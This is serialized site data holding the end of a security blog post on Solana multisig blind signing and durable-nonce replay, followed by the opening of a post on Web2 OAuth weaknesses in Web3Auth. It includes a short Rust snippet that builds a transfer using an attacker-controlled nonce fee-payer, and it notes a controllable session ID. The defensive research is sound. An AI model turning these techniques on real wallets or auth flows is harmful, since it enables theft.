value":68309}," last_blockhash",{"type":24,"tag":83,"props":68311,"children":68312},{"style":143},[68313],{"type":29,"value":146},{"type":24,"tag":83,"props":68315,"children":68316},{"style":137},[68317],{"type":29,"value":67806},{"type":24,"tag":83,"props":68319,"children":68320},{"style":143},[68321],{"type":29,"value":161},{"type":24,"tag":83,"props":68323,"children":68324},{"style":101},[68325],{"type":29,"value":68326},"last_hash",{"type":24,"tag":83,"props":68328,"children":68329},{"style":107},[68330],{"type":29,"value":267},{"type":24,"tag":83,"props":68332,"children":68333},{"class":85,"line":128},[68334,68338,68343,68347,68352,68356,68361,68365,68369,68374],{"type":24,"tag":83,"props":68335,"children":68336},{"style":90},[68337],{"type":29,"value":2746},{"type":24,"tag":83,"props":68339,"children":68340},{"style":137},[68341],{"type":29,"value":68342}," next_durable_nonce",{"type":24,"tag":83,"props":68344,"children":68345},{"style":143},[68346],{"type":29,"value":146},{"type":24,"tag":83,"props":68348,"children":68349},{"style":3163},[68350],{"type":29,"value":68351}," DurableNonce",{"type":24,"tag":83,"props":68353,"children":68354},{"style":143},[68355],{"type":29,"value":3226},{"type":24,"tag":83,"props":68357,"children":68358},{"style":101},[68359],{"type":29,"value":68360},"from_blockhash",{"type":24,"tag":83,"props":68362,"children":68363},{"style":107},[68364],{"type":29,"value":558},{"type":24,"tag":83,"props":68366,"children":68367},{"style":143},[68368],{"type":29,"value":2853},{"type":24,"tag":83,"props":68370,"children":68371},{"style":137},[68372],{"type":29,"value":68373},"last_blockhash",{"type":24,"tag":83,"props":68375,"children":68376},{"style":107},[68377],{"type":29,"value":581},{"type":24,"tag":25,"props":68379,"children":68380},{},[68381,68383,68388],{"type":29,"value":68382},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":2655,"props":68384,"children":68385},{},[68386],{"type":29,"value":68387},"can",{"type":29,"value":68389}," be saved and reused.",{"type":24,"tag":51,"props":68391,"children":68393},{"id":68392},"threat-model",[68394],{"type":29,"value":68395},"Threat Model",{"type":24,"tag":25,"props":68397,"children":68398},{},[68399],{"type":29,"value":68400},"Let's consider a simplified form of the original question.",{"type":24,"tag":63,"props":68402,"children":68403},{},[68404,68409,68414],{"type":24,"tag":67,"props":68405,"children":68406},{},[68407],{"type":29,"value":68408},"We have a N/M multisig",{"type":24,"tag":67,"props":68410,"children":68411},{},[68412],{"type":29,"value":68413},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":67,"props":68415,"children":68416},{},[68417],{"type":29,"value":68418},"We can accurately query chain state.",{"type":24,"tag":25,"props":68420,"children":68421},{},[68422],{"type":29,"value":68423},"Can we safely sign transactions?",{"type":24,"tag":25,"props":68425,"children":68426},{},[68427],{"type":29,"value":68428},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":68430,"children":68431},{},[68432,68434,68440,68442,68449],{"type":29,"value":68433},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":32,"props":68435,"children":68437},{"className":68436},[],[68438],{"type":29,"value":68439},"getProgramAccounts",{"type":29,"value":68441}," call to validate if your signer ",{"type":24,"tag":2033,"props":68443,"children":68446},{"href":68444,"rel":68445},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[2037],[68447],{"type":29,"value":68448},"has an associated durable nonce",{"type":29,"value":161},{"type":24,"tag":73,"props":68451,"children":68453},{"className":35664,"code":68452,"language":35666,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[68454],{"type":24,"tag":32,"props":68455,"children":68456},{"__ignoreMap":7},[68457,68504,68540,68548,68560,68568,68580,68588,68596,68613,68620,68627,68635,68643,68655,68681,68698,68705,68712,68720,68727],{"type":24,"tag":83,"props":68458,"children":68459},{"class":85,"line":86},[68460,68464,68469,68473,68477,68482,68486,68491,68495,68500],{"type":24,"tag":83,"props":68461,"children":68462},{"style":90},[68463],{"type":29,"value":9401},{"type":24,"tag":83,"props":68465,"children":68466},{"style":137},[68467],{"type":29,"value":68468}," connection",{"type":24,"tag":83,"props":68470,"children":68471},{"style":143},[68472],{"type":29,"value":146},{"type":24,"tag":83,"props":68474,"children":68475},{"style":90},[68476],{"type":29,"value":944},{"type":24,"tag":83,"props":68478,"children":68479},{"style":101},[68480],{"type":29,"value":68481}," Connection",{"type":24,"tag":83,"props":68483,"children":68484},{"style":107},[68485],{"type":29,"value":558},{"type":24,"tag":83,"props":68487,"children":68488},{"style":101},[68489],{"type":29,"value":68490},"clusterApiUrl",{"type":24,"tag":83,"props":68492,"children":68493},{"style":107},[68494],{"type":29,"value":558},{"type":24,"tag":83,"props":68496,"children":68497},{"style":187},[68498],{"type":29,"value":68499},"'testnet'",{"type":24,"tag":83,"props":68501,"children":68502},{"style":107},[68503],{"type":29,"value":6970},{"type":24,"tag":83,"props":68505,"children":68506},{"class":85,"line":113},[68507,68511,68516,68520,68524,68528,68532,68536],{"type":24,"tag":83,"props":68508,"children":68509},{"style":90},[68510],{"type":29,"value":9401},{"type":24,"tag":83,"props":68512,"children":68513},{"style":137},[68514],{"type":29,"value":68515}," nonceAccounts",{"type":24,"tag":83,"props":68517,"children":68518},{"style":143},[68519],{"type":29,"value":146},{"type":24,"tag":83,"props":68521,"children":68522},{"style":117},[68523],{"type":29,"value":151},{"type":24,"tag":83,"props":68525,"children":68526},{"style":137},[68527],{"type":29,"value":68468},{"type":24,"tag":83,"props":68529,"children":68530},{"style":107},[68531],{"type":29,"value":161},{"type":24,"tag":83,"props":68533,"children":68534},{"style":101},[68535],{"type":29,"value":68439},{"type":24,"tag":83,"props":68537,"children":68538},{"style":107},[68539],{"type":29,"value":3208},{"type":24,"tag":83,"props":68541,"children":68542},{"class":85,"line":128},[68543],{"type":24,"tag":83,"props":68544,"children":68545},{"style":2735},[68546],{"type":29,"value":68547},"  // The system program owns all nonce accounts.\n",{"type":24,"tag":83,"props":68549,"children":68550},{"class":85,"line":183},[68551,68556],{"type":24,"tag":83,"props":68552,"children":68553},{"style":137},[68554],{"type":29,"value":68555},"  SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":83,"props":68557,"children":68558},{"style":107},[68559],{"type":29,"value":989},{"type":24,"tag":83,"props":68561,"children":68562},{"class":85,"line":203},[68563],{"type":24,"tag":83,"props":68564,"children":68565},{"style":107},[68566],{"type":29,"value":68567},"  {\n",{"type":24,"tag":83,"props":68569,"children":68570},{"class":85,"line":212},[68571,68576],{"type":24,"tag":83,"props":68572,"children":68573},{"style":137},[68574],{"type":29,"value":68575},"    filters:",{"type":24,"tag":83,"props":68577,"children":68578},{"style":107},[68579],{"type":29,"value":25370},{"type":24,"tag":83,"props":68581,"children":68582},{"class":85,"line":256},[68583],{"type":24,"tag":83,"props":68584,"children":68585},{"style":107},[68586],{"type":29,"value":68587},"      {\n",{"type":24,"tag":83,"props":68589,"children":68590},{"class":85,"line":270},[68591],{"type":24,"tag":83,"props":68592,"children":68593},{"style":2735},[68594],{"type":29,"value":68595},"        // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":83,"props":68597,"children":68598},{"class":85,"line":302},[68599,68604,68609],{"type":24,"tag":83,"props":68600,"children":68601},{"style":137},[68602],{"type":29,"value":68603},"        dataSize:",{"type":24,"tag":83,"props":68605,"children":68606},{"style":245},[68607],{"type":29,"value":68608}," 80",{"type":24,"tag":83,"props":68610,"children":68611},{"style":107},[68612],{"type":29,"value":989},{"type":24,"tag":83,"props":68614,"children":68615},{"class":85,"line":324},[68616],{"type":24,"tag":83,"props":68617,"children":68618},{"style":107},[68619],{"type":29,"value":2197},{"type":24,"tag":83,"props":68621,"children":68622},{"class":85,"line":345},[68623],{"type":24,"tag":83,"props":68624,"children":68625},{"style":107},[68626],{"type":29,"value":68587},{"type":24,"tag":83,"props":68628,"children":68629},{"class":85,"line":358},[68630],{"type":24,"tag":83,"props":68631,"children":68632},{"style":2735},[68633],{"type":29,"value":68634},"        // The authority's 32-byte public key is written\n",{"type":24,"tag":83,"props":68636,"children":68637},{"class":85,"line":367},[68638],{"type":24,"tag":83,"props":68639,"children":68640},{"style":2735},[68641],{"type":29,"value":68642},"        // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":83,"props":68644,"children":68645},{"class":85,"line":406},[68646,68651],{"type":24,"tag":83,"props":68647,"children":68648},{"style":137},[68649],{"type":29,"value":68650},"        memcmp:",{"type":24,"tag":83,"props":68652,"children":68653},{"style":107},[68654],{"type":29,"value":125},{"type":24,"tag":83,"props":68656,"children":68657},{"class":85,"line":427},[68658,68663,68668,68672,68677],{"type":24,"tag":83,"props":68659,"children":68660},{"style":137},[68661],{"type":29,"value":68662},"          bytes:",{"type":24,"tag":83,"props":68664,"children":68665},{"style":137},[68666],{"type":29,"value":68667}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":83,"props":68669,"children":68670},{"style":107},[68671],{"type":29,"value":161},{"type":24,"tag":83,"props":68673,"children":68674},{"style":101},[68675],{"type":29,"value":68676},"toBase58",{"type":24,"tag":83,"props":68678,"children":68679},{"style":107},[68680],{"type":29,"value":3236},{"type":24,"tag":83,"props":68682,"children":68683},{"class":85,"line":440},[68684,68689,68694],{"type":24,"tag":83,"props":68685,"children":68686},{"style":137},[68687],{"type":29,"value":68688},"          offset:",{"type":24,"tag":83,"props":68690,"children":68691},{"style":245},[68692],{"type":29,"value":68693}," 8",{"type":24,"tag":83,"props":68695,"children":68696},{"style":107},[68697],{"type":29,"value":989},{"type":24,"tag":83,"props":68699,"children":68700},{"class":85,"line":449},[68701],{"type":24,"tag":83,"props":68702,"children":68703},{"style":107},[68704],{"type":29,"value":25124},{"type":24,"tag":83,"props":68706,"children":68707},{"class":85,"line":458},[68708],{"type":24,"tag":83,"props":68709,"children":68710},{"style":107},[68711],{"type":29,"value":2197},{"type":24,"tag":83,"props":68713,"children":68714},{"class":85,"line":1065},[68715],{"type":24,"tag":83,"props":68716,"children":68717},{"style":107},[68718],{"type":29,"value":68719},"    ],\n",{"type":24,"tag":83,"props":68721,"children":68722},{"class":85,"line":1668},[68723],{"type":24,"tag":83,"props":68724,"children":68725},{"style":107},[68726],{"type":29,"value":455},{"type":24,"tag":83,"props":68728,"children":68729},{"class":85,"line":1713},[68730],{"type":24,"tag":83,"props":68731,"children":68732},{"style":107},[68733],{"type":29,"value":581},{"type":24,"tag":25,"props":68735,"children":68736},{},[68737,68739,68747],{"type":29,"value":68738},"Unfortunately this is not sufficient",{"type":24,"tag":15213,"props":68740,"children":68741},{},[68742],{"type":24,"tag":2033,"props":68743,"children":68745},{"href":29375,"ariaDescribedBy":68744,"dataFootnoteRef":7,"id":29377},[15220],[68746],{"type":29,"value":3756},{"type":29,"value":68748},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":73,"props":68750,"children":68752},{"className":2725,"code":68751,"language":2724,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[68753],{"type":24,"tag":32,"props":68754,"children":68755},{"__ignoreMap":7},[68756,68822,68838,68921],{"type":24,"tag":83,"props":68757,"children":68758},{"class":85,"line":86},[68759,68763,68767,68771,68776,68780,68784,68788,68792,68796,68800,68804,68809,68813,68818],{"type":24,"tag":83,"props":68760,"children":68761},{"style":90},[68762],{"type":29,"value":2746},{"type":24,"tag":83,"props":68764,"children":68765},{"style":137},[68766],{"type":29,"value":43086},{"type":24,"tag":83,"props":68768,"children":68769},{"style":143},[68770],{"type":29,"value":146},{"type":24,"tag":83,"props":68772,"children":68773},{"style":107},[68774],{"type":29,"value":68775}," system_instruction",{"type":24,"tag":83,"props":68777,"children":68778},{"style":143},[68779],{"type":29,"value":3226},{"type":24,"tag":83,"props":68781,"children":68782},{"style":101},[68783],{"type":29,"value":31862},{"type":24,"tag":83,"props":68785,"children":68786},{"style":107},[68787],{"type":29,"value":558},{"type":24,"tag":83,"props":68789,"children":68790},{"style":143},[68791],{"type":29,"value":2853},{"type":24,"tag":83,"props":68793,"children":68794},{"style":137},[68795],{"type":29,"value":19213},{"type":24,"tag":83,"props":68797,"children":68798},{"style":107},[68799],{"type":29,"value":568},{"type":24,"tag":83,"props":68801,"children":68802},{"style":143},[68803],{"type":29,"value":2853},{"type":24,"tag":83,"props":68805,"children":68806},{"style":137},[68807],{"type":29,"value":68808},"ledger_base_pubkey",{"type":24,"tag":83,"props":68810,"children":68811},{"style":107},[68812],{"type":29,"value":568},{"type":24,"tag":83,"props":68814,"children":68815},{"style":245},[68816],{"type":29,"value":68817},"42",{"type":24,"tag":83,"props":68819,"children":68820},{"style":107},[68821],{"type":29,"value":581},{"type":24,"tag":83,"props":68823,"children":68824},{"class":85,"line":113},[68825,68829,68834],{"type":24,"tag":83,"props":68826,"children":68827},{"style":90},[68828],{"type":29,"value":2746},{"type":24,"tag":83,"props":68830,"children":68831},{"style":137},[68832],{"type":29,"value":68833}," message",{"type":24,"tag":83,"props":68835,"children":68836},{"style":143},[68837],{"type":29,"value":860},{"type":24,"tag":83,"props":68839,"children":68840},{"class":85,"line":128},[68841,68846,68850,68855,68859,68863,68867,68871,68875,68879,68883,68887,68892,68896,68900,68905,68909,68913,68917],{"type":24,"tag":83,"props":68842,"children":68843},{"style":3163},[68844],{"type":29,"value":68845},"        Message",{"type":24,"tag":83,"props":68847,"children":68848},{"style":143},[68849],{"type":29,"value":3226},{"type":24,"tag":83,"props":68851,"children":68852},{"style":101},[68853],{"type":29,"value":68854},"new_with_nonce",{"type":24,"tag":83,"props":68856,"children":68857},{"style":107},[68858],{"type":29,"value":558},{"type":24,"tag":83,"props":68860,"children":68861},{"style":101},[68862],{"type":29,"value":3619},{"type":24,"tag":83,"props":68864,"children":68865},{"style":107},[68866],{"type":29,"value":1161},{"type":24,"tag":83,"props":68868,"children":68869},{"style":137},[68870],{"type":29,"value":43396},{"type":24,"tag":83,"props":68872,"children":68873},{"style":107},[68874],{"type":29,"value":1232},{"type":24,"tag":83,"props":68876,"children":68877},{"style":3163},[68878],{"type":29,"value":41736},{"type":24,"tag":83,"props":68880,"children":68881},{"style":107},[68882],{"type":29,"value":558},{"type":24,"tag":83,"props":68884,"children":68885},{"style":143},[68886],{"type":29,"value":2853},{"type":24,"tag":83,"props":68888,"children":68889},{"style":137},[68890],{"type":29,"value":68891},"evil_nonce_authority",{"type":24,"tag":83,"props":68893,"children":68894},{"style":107},[68895],{"type":29,"value":14918},{"type":24,"tag":83,"props":68897,"children":68898},{"style":143},[68899],{"type":29,"value":2853},{"type":24,"tag":83,"props":68901,"children":68902},{"style":137},[68903],{"type":29,"value":68904},"nonce_account",{"type":24,"tag":83,"props":68906,"children":68907},{"style":107},[68908],{"type":29,"value":568},{"type":24,"tag":83,"props":68910,"children":68911},{"style":143},[68912],{"type":29,"value":2853},{"type":24,"tag":83,"props":68914,"children":68915},{"style":137},[68916],{"type":29,"value":68891},{"type":24,"tag":83,"props":68918,"children":68919},{"style":107},[68920],{"type":29,"value":2905},{"type":24,"tag":83,"props":68922,"children":68923},{"class":85,"line":183},[68924,68928,68933],{"type":24,"tag":83,"props":68925,"children":68926},{"style":143},[68927],{"type":29,"value":2913},{"type":24,"tag":83,"props":68929,"children":68930},{"style":101},[68931],{"type":29,"value":68932},"serialize",{"type":24,"tag":83,"props":68934,"children":68935},{"style":107},[68936],{"type":29,"value":267},{"type":24,"tag":25,"props":68938,"children":68939},{},[68940,68942,68949],{"type":29,"value":68941},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":2033,"props":68943,"children":68946},{"href":68944,"rel":68945},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[2037],[68947],{"type":29,"value":68948},"logs the fee-payer here",{"type":29,"value":161},{"type":24,"tag":73,"props":68951,"children":68953},{"className":16250,"code":68952,"language":2891,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[68954],{"type":24,"tag":32,"props":68955,"children":68956},{"__ignoreMap":7},[68957,69016,69072],{"type":24,"tag":83,"props":68958,"children":68959},{"class":85,"line":86},[68960,68964,68969,68973,68977,68982,68986,68991,68995,68999,69003,69007,69012],{"type":24,"tag":83,"props":68961,"children":68962},{"style":90},[68963],{"type":29,"value":29437},{"type":24,"tag":83,"props":68965,"children":68966},{"style":101},[68967],{"type":29,"value":68968}," print_config_show_authority",{"type":24,"tag":83,"props":68970,"children":68971},{"style":107},[68972],{"type":29,"value":558},{"type":24,"tag":83,"props":68974,"children":68975},{"style":90},[68976],{"type":29,"value":9401},{"type":24,"tag":83,"props":68978,"children":68979},{"style":107},[68980],{"type":29,"value":68981}," PrintConfig",{"type":24,"tag":83,"props":68983,"children":68984},{"style":143},[68985],{"type":29,"value":4315},{"type":24,"tag":83,"props":68987,"children":68988},{"style":137},[68989],{"type":29,"value":68990}," print_config",{"type":24,"tag":83,"props":68992,"children":68993},{"style":107},[68994],{"type":29,"value":568},{"type":24,"tag":83,"props":68996,"children":68997},{"style":90},[68998],{"type":29,"value":9401},{"type":24,"tag":83,"props":69000,"children":69001},{"style":107},[69002],{"type":29,"value":20597},{"type":24,"tag":83,"props":69004,"children":69005},{"style":143},[69006],{"type":29,"value":4315},{"type":24,"tag":83,"props":69008,"children":69009},{"style":137},[69010],{"type":29,"value":69011}," authority",{"type":24,"tag":83,"props":69013,"children":69014},{"style":107},[69015],{"type":29,"value":253},{"type":24,"tag":83,"props":69017,"children":69018},{"class":85,"line":113},[69019,69023,69027,69031,69036,69040,69044,69049,69053,69058,69062,69067],{"type":24,"tag":83,"props":69020,"children":69021},{"style":117},[69022],{"type":29,"value":16725},{"type":24,"tag":83,"props":69024,"children":69025},{"style":137},[69026],{"type":29,"value":68990},{"type":24,"tag":83,"props":69028,"children":69029},{"style":107},[69030],{"type":29,"value":13502},{"type":24,"tag":83,"props":69032,"children":69033},{"style":137},[69034],{"type":29,"value":69035},"expert_mode",{"type":24,"tag":83,"props":69037,"children":69038},{"style":143},[69039],{"type":29,"value":23447},{"type":24,"tag":83,"props":69041,"children":69042},{"style":143},[69043],{"type":29,"value":12609},{"type":24,"tag":83,"props":69045,"children":69046},{"style":101},[69047],{"type":29,"value":69048},"pubkeys_equal",{"type":24,"tag":83,"props":69050,"children":69051},{"style":107},[69052],{"type":29,"value":558},{"type":24,"tag":83,"props":69054,"children":69055},{"style":137},[69056],{"type":29,"value":69057},"print_config",{"type":24,"tag":83,"props":69059,"children":69060},{"style":107},[69061],{"type":29,"value":13502},{"type":24,"tag":83,"props":69063,"children":69064},{"style":137},[69065],{"type":29,"value":69066},"signer_pubkey",{"type":24,"tag":83,"props":69068,"children":69069},{"style":107},[69070],{"type":29,"value":69071},", authority);\n",{"type":24,"tag":83,"props":69073,"children":69074},{"class":85,"line":128},[69075],{"type":24,"tag":83,"props":69076,"children":69077},{"style":107},[69078],{"type":29,"value":464},{"type":24,"tag":25,"props":69080,"children":69081},{},[69082],{"type":29,"value":69083},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":69085,"children":69086},{},[69087],{"type":29,"value":69088},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":69090,"children":69091},{},[69092],{"type":29,"value":69093},"We can then use the following procedure.",{"type":24,"tag":63,"props":69095,"children":69096},{},[69097,69102,69107,69112,69117],{"type":24,"tag":67,"props":69098,"children":69099},{},[69100],{"type":29,"value":69101},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":67,"props":69103,"children":69104},{},[69105],{"type":29,"value":69106},"The first signer signs and submits the transaction.",{"type":24,"tag":67,"props":69108,"children":69109},{},[69110],{"type":29,"value":69111},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":67,"props":69113,"children":69114},{},[69115],{"type":29,"value":69116},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":67,"props":69118,"children":69119},{},[69120],{"type":29,"value":69121},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":51,"props":69123,"children":69125},{"id":69124},"beyond",[69126],{"type":29,"value":69127},"Beyond",{"type":24,"tag":25,"props":69129,"children":69130},{},[69131],{"type":29,"value":69132},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":69134,"children":69135},{},[69136,69138,69145],{"type":29,"value":69137},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":2033,"props":69139,"children":69142},{"href":69140,"rel":69141},"https://github.com/pcaversaccio/safe-tx-hashes-util",[2037],[69143],{"type":29,"value":69144},"validate Safe transaction hashes",{"type":29,"value":69146},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":18159,"props":69148,"children":69150},{"className":69149,"dataFootnotes":7},[18162],[69151,69156],{"type":24,"tag":51,"props":69152,"children":69154},{"className":69153,"id":15220},[18167],[69155],{"type":29,"value":18170},{"type":24,"tag":63,"props":69157,"children":69158},{},[69159],{"type":24,"tag":67,"props":69160,"children":69161},{"id":30117},[69162,69164,69172,69174],{"type":29,"value":69163},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":2033,"props":69165,"children":69169},{"href":69166,"rel":69167,":style":69168},"https://twitter.com/PierreArowana",[2037],"color: #B1D0EE; text-decoration: underline;",[69170],{"type":29,"value":69171},"@PierreArowana",{"type":29,"value":69173}," for pointing this out to me. ",{"type":24,"tag":2033,"props":69175,"children":69177},{"href":30145,"ariaLabel":18273,"className":69176,"dataFootnoteBackref":7},[18275],[69178],{"type":29,"value":18278},{"type":24,"tag":2584,"props":69180,"children":69181},{},[69182],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":69184},[69185,69189,69190,69191],{"id":67381,"depth":113,"text":67384,"children":69186},[69187,69188],{"id":67392,"depth":128,"text":67395},{"id":67671,"depth":128,"text":67674},{"id":68392,"depth":113,"text":68395},{"id":69124,"depth":113,"text":69127},{"id":15220,"depth":113,"text":18170},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69196,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69197,"description":69198,"date":69199,"author":69200,"image":69201,"isFeatured":16,"onBlogPage":16,"tags":69203,"body":69204,"_type":2606,"_id":70901,"_source":2608,"_file":70902,"_stem":70903,"_extension":2611},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[30952,11],{"src":69202},"/posts/web2-in-web3/title.jpg",[31880],{"type":21,"children":69205,"toc":70883},[69206,69211,69216,69221,69247,69253,69258,69264,69285,69291,69296,69303,69316,69346,69352,69396,69403,69409,69442,69463,69471,69490,69497,69502,69508,69513,69518,69543,69548,69554,69560,69581,69587,69614,69642,69649,69654,69659,70003,70007,70029,70035,70056,70070,70083,70088,70104,70109,70838,70843,70848,70853,70865,70869,70874,70879],{"type":24,"tag":25,"props":69207,"children":69208},{},[69209],{"type":29,"value":69210},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":69212,"children":69213},{},[69214],{"type":29,"value":69215},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":69217,"children":69218},{},[69219],{"type":29,"value":69220},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":63,"props":69222,"children":69223},{},[69224,69229,69242],{"type":24,"tag":67,"props":69225,"children":69226},{},[69227],{"type":29,"value":69228},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":67,"props":69230,"children":69231},{},[69232,69234,69240],{"type":29,"value":69233},"Supabase ",{"type":24,"tag":32,"props":69235,"children":69237},{"className":69236},[],[69238],{"type":29,"value":69239},"user_metadata",{"type":29,"value":69241}," misconfiguration",{"type":24,"tag":67,"props":69243,"children":69244},{},[69245],{"type":29,"value":69246},"OAuth abuse in localhost development environment",{"type":24,"tag":51,"props":69248,"children":69250},{"id":69249},"abusing-oauth-authentication-logic",[69251],{"type":29,"value":69252},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":69254,"children":69255},{},[69256],{"type":29,"value":69257},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":1818,"props":69259,"children":69261},{"id":69260},"web3auth-introduction",[69262],{"type":29,"value":69263},"Web3Auth Introduction",{"type":24,"tag":25,"props":69265,"children":69266},{},[69267,69274,69276,69283],{"type":24,"tag":2033,"props":69268,"children":69271},{"href":69269,"rel":69270},"https://web3auth.io/",[2037],[69272],{"type":29,"value":69273},"Web3Auth",{"type":29,"value":69275}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":2033,"props":69277,"children":69280},{"href":69278,"rel":69279},"https://oauth.net/2/",[2037],[69281],{"type":29,"value":69282},"OAuth2",{"type":29,"value":69284}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":1818,"props":69286,"children":69288},{"id":69287},"web3auth-authentication-flow",[69289],{"type":29,"value":69290},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":69292,"children":69293},{},[69294],{"type":29,"value":69295},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":69297,"children":69298},{},[69299],{"type":24,"tag":2510,"props":69300,"children":69302},{"alt":2512,"src":69301},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":69304,"children":69305},{},[69306,69308,69314],{"type":29,"value":69307},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":32,"props":69309,"children":69311},{"className":69310},[],[69312],{"type":29,"value":69313},"client_id",{"type":29,"value":69315},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":69317,"children":69318},{},[69319,69321,69327,69329,69335,69337,69344],{"type":29,"value":69320},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":32,"props":69322,"children":69324},{"className":69323},[],[69325],{"type":29,"value":69326},"/start",{"type":29,"value":69328}," validates the ",{"type":24,"tag":32,"props":69330,"children":69332},{"className":69331},[],[69333],{"type":29,"value":69334},"redirect_url",{"type":29,"value":69336}," against the configured ",{"type":24,"tag":2033,"props":69338,"children":69341},{"href":69339,"rel":69340},"https://web3auth.io/docs/dashboard-setup/whitelisting",[2037],[69342],{"type":29,"value":69343},"whitelist",{"type":29,"value":69345}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":1818,"props":69347,"children":69349},{"id":69348},"in-transit-cryptography",[69350],{"type":29,"value":69351},"In-transit Cryptography",{"type":24,"tag":25,"props":69353,"children":69354},{},[69355,69357,69364,69366,69372,69374,69380,69382,69387,69389,69394],{"type":29,"value":69356},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":2033,"props":69358,"children":69361},{"href":69359,"rel":69360},"https://en.wikipedia.org/wiki/Key_(cryptography)",[2037],[69362],{"type":29,"value":69363},"cryptographic key",{"type":29,"value":69365}," is derived from the ",{"type":24,"tag":32,"props":69367,"children":69369},{"className":69368},[],[69370],{"type":29,"value":69371},"sessionId",{"type":29,"value":69373},"  sent in the ",{"type":24,"tag":32,"props":69375,"children":69377},{"className":69376},[],[69378],{"type":29,"value":69379},"GET",{"type":29,"value":69381}," parameter to the ",{"type":24,"tag":32,"props":69383,"children":69385},{"className":69384},[],[69386],{"type":29,"value":69326},{"type":29,"value":69388},". Since the ",{"type":24,"tag":32,"props":69390,"children":69392},{"className":69391},[],[69393],{"type":29,"value":69371},{"type":29,"value":69395}," can be controlled, it allows us to send and receive data from the session 